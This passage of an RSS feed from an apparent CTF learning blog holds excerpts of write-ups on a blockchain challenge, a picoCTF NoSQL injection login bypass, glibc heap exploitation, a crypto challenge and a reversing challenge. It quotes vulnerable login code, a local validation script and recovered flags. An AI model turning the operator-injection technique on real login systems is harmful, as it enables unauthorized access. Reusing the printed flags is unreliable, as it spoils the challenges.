      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Honor Among Thieves&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Blockchain&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal condition:&lt;/strong&gt; force &lt;code&gt;isSolved(player) == true&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This challenge is a good reminder that &lt;strong&gt;on-chain history is public&lt;/strong&gt; and exploitable. Instead of brute-forcing secret material, we used transaction/event intelligence and replayed the winning primitive.&lt;/p&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The contract flow leaked enough information via prior chain interactions (logs/calldata context) to recover a valid key used by the target logic.&lt;/p&gt;</description>
    </item>
    <item>
      <title>0x4 - Learn CTF: Web Exploitation</title>
      <link>/posts/0x4-learn-ctf-web-exploitation/</link>
      <pubDate>Tue, 24 Feb 2026 12:58:00 +0700</pubDate>
      <guid>/posts/0x4-learn-ctf-web-exploitation/</guid>
      <description>&lt;h2 id=&#34;table-of-contents&#34;&gt;Table of Contents&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#no-sql-injection-picoctf&#34;&gt;No SQL Injection (picoCTF)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#startup-company-picoctf&#34;&gt;Startup Company (picoCTF)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;no-sql-injection-picoctf&#34;&gt;No SQL Injection (picoCTF)&lt;/h2&gt;&#xA;&lt;h3 id=&#34;summary&#34;&gt;Summary&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web / NoSQL Injection&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; &lt;code&gt;No SQL Injection&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;http://atlas.picoctf.net:54182/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; bypass login and recover flag token.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;source-analysis&#34;&gt;Source analysis&lt;/h3&gt;&#xA;&lt;p&gt;From &lt;code&gt;server.js&lt;/code&gt;, login handler parses user input like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;email&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;email&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;startsWith&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;email&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;endsWith&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;}&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;JSON&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;parse&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;email&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;email&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;password&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;password&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;startsWith&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;password&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;endsWith&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;}&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;JSON&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;parse&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;password&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;password&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then it performs:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;User&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;findOne&lt;/span&gt;({ &lt;span style=&#34;color:#a6e22e&#34;&gt;email&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;parsed&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;password&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;parsed&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; })&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So if we send JSON object strings, they become Mongo operators instead of plain strings.&lt;/p&gt;</description>
    </item>
    <item>
      <title>0x3 - Learn CTF: Binary Exploitation</title>
      <link>/posts/0x3-learn-ctf-pwn/</link>
      <pubDate>Tue, 24 Feb 2026 04:10:00 +0700</pubDate>
      <guid>/posts/0x3-learn-ctf-pwn/</guid>
      <description>&lt;h2 id=&#34;table-of-contents&#34;&gt;Table of Contents&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#secret-garden--fastbin-dup--__malloc_hook-overwrite-glibc-223&#34;&gt;Secret Garden — fastbin dup + &lt;code&gt;__malloc_hook&lt;/code&gt; overwrite (glibc 2.23)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#kidding--stack-overflow--_dl_make_stack_executable-route&#34;&gt;Kidding — stack overflow + &lt;code&gt;_dl_make_stack_executable&lt;/code&gt; route&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#start--stack-bof-leak--stack-shellcode&#34;&gt;Start — stack BOF leak + stack shellcode&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;secret-garden--fastbin-dup--__malloc_hook-overwrite-glibc-223&#34;&gt;Secret Garden — fastbin dup + &lt;code&gt;__malloc_hook&lt;/code&gt; overwrite (glibc 2.23)&lt;/h2&gt;&#xA;&lt;h3 id=&#34;summary&#34;&gt;Summary&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn / Heap Exploitation&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; &lt;code&gt;pwnable.tw - secretgarden&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Binary:&lt;/strong&gt; &lt;code&gt;secretgarden&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Libc:&lt;/strong&gt; &lt;code&gt;libc_64.so.6&lt;/code&gt; (Ubuntu GLIBC 2.23)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Protections:&lt;/strong&gt; RELRO + Canary + NX + PIE&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Flag:&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;bug-and-primitive&#34;&gt;Bug and primitive&lt;/h3&gt;&#xA;&lt;p&gt;The program stores flower objects in a global array. Each flower has a heap-allocated &lt;code&gt;name&lt;/code&gt; pointer.&lt;/p&gt;</description>
    </item>
    <item>
      <title>0x2 - Learn CTF: Cryptography</title>
      <link>/posts/0x2-learn-ctf-cryptography/</link>
      <pubDate>Mon, 23 Feb 2026 23:40:00 +0700</pubDate>
      <guid>/posts/0x2-learn-ctf-cryptography/</guid>
      <description>&lt;h2 id=&#34;table-of-contents&#34;&gt;Table of Contents&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#error-code--merkle-hellman-implementation-bug&#34;&gt;error-code — Merkle-Hellman implementation bug&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#nito--truncated-state-recovery-with-coppersmith&#34;&gt;nito — truncated-state recovery with Coppersmith&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#lack-of-entropy--deterministic-rsa-prime-relation&#34;&gt;Lack of Entropy — deterministic RSA prime relation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#a-joke-cipher--broken-key-exchange-leaks-plaintext-multiplier&#34;&gt;a-joke-cipher — broken key exchange leaks plaintext multiplier&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#d-phi-enc--recovering-rsa-factors-from-encrypted-%CF%86-and-d&#34;&gt;d-phi-enc — recovering RSA factors from encrypted φ and d&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;error-code--merkle-hellman-implementation-bug&#34;&gt;error-code — Merkle-Hellman implementation bug&lt;/h2&gt;&#xA;&lt;h3 id=&#34;summary&#34;&gt;Summary&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; &lt;code&gt;error-code&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Core scheme:&lt;/strong&gt; Merkle-Hellman knapsack (subset-sum)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Given files:&lt;/strong&gt; &lt;code&gt;chall.py&lt;/code&gt;, &lt;code&gt;output&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Recovered flag:&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CBC{4_cl4ss1c_subs3t_sum_pr0blem_r1ght_9c209955}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;problem-statement-practical&#34;&gt;Problem statement (practical)&lt;/h3&gt;&#xA;&lt;p&gt;The challenge author says they implemented Merkle-Hellman, but decryption does not work.&#xA;The job is to identify the implementation error and recover the plaintext.&lt;/p&gt;</description>
    </item>
    <item>
      <title>0x1 - Learn CTF: Reverse Engineering</title>
      <link>/posts/0x1-learn-ctf-reverse-engineering/</link>
      <pubDate>Mon, 23 Feb 2026 15:30:00 +0700</pubDate>
      <guid>/posts/0x1-learn-ctf-reverse-engineering/</guid>
      <description>&lt;h2 id=&#34;table-of-contents&#34;&gt;Table of Contents&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#re-010--network-byte-transform-checker&#34;&gt;re-010 — Network byte-transform checker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#re-012--constraint-based-checker-f1f8&#34;&gt;re-012 — Constraint-based checker (f1..f8)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#carbonara--jump-obfuscation-and-data-flow-recovery&#34;&gt;Carbonara — jump-obfuscation and data-flow recovery&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;re-010--network-byte-transform-checker&#34;&gt;re-010 — Network byte-transform checker&lt;/h2&gt;&#xA;&lt;h3 id=&#34;summary&#34;&gt;Summary&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Type:&lt;/strong&gt; Reversing (ELF64, stripped, PIE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Behavior:&lt;/strong&gt; TCP server flag checker&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Port:&lt;/strong&gt; &lt;code&gt;31338&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Expected input length:&lt;/strong&gt; &lt;code&gt;37&lt;/code&gt; bytes&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;:)&lt;/code&gt; on success, &lt;code&gt;:(&lt;/code&gt; on failure&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;CBC{c72b6b1feb2dbb3132380e1a9f967441}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;notes&#34;&gt;Notes&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The binary does not read from stdin directly; it binds/listens and validates client input over a socket.&lt;/li&gt;&#xA;&lt;li&gt;Validation is split into 3 blocks of 16 transformed-byte checks using constant tables in &lt;code&gt;.rodata&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Recovered plaintext chunks:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;CBC{c72b6b1feb2d&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bb3132380e1a9f96&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;7441}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Combined final flag:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CBC{c72b6b1feb2dbb3132380e1a9f967441}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;validation&#34;&gt;Validation&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# run service&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./chall&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# in another shell&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 - &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;lt;&amp;lt; &amp;#39;PY&amp;#39;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;import socket&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;flag=&amp;#39;CBC{c72b6b1feb2dbb3132380e1a9f967441}&amp;#39;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;s=socket.create_connection((&amp;#39;127.0.0.1&amp;#39;,31338))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;print(s.recv(200))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;s.sendall(flag.encode()+b&amp;#39;\n&amp;#39;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;print(s.recv(200))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;PY&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Expected response contains &lt;code&gt;:)&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
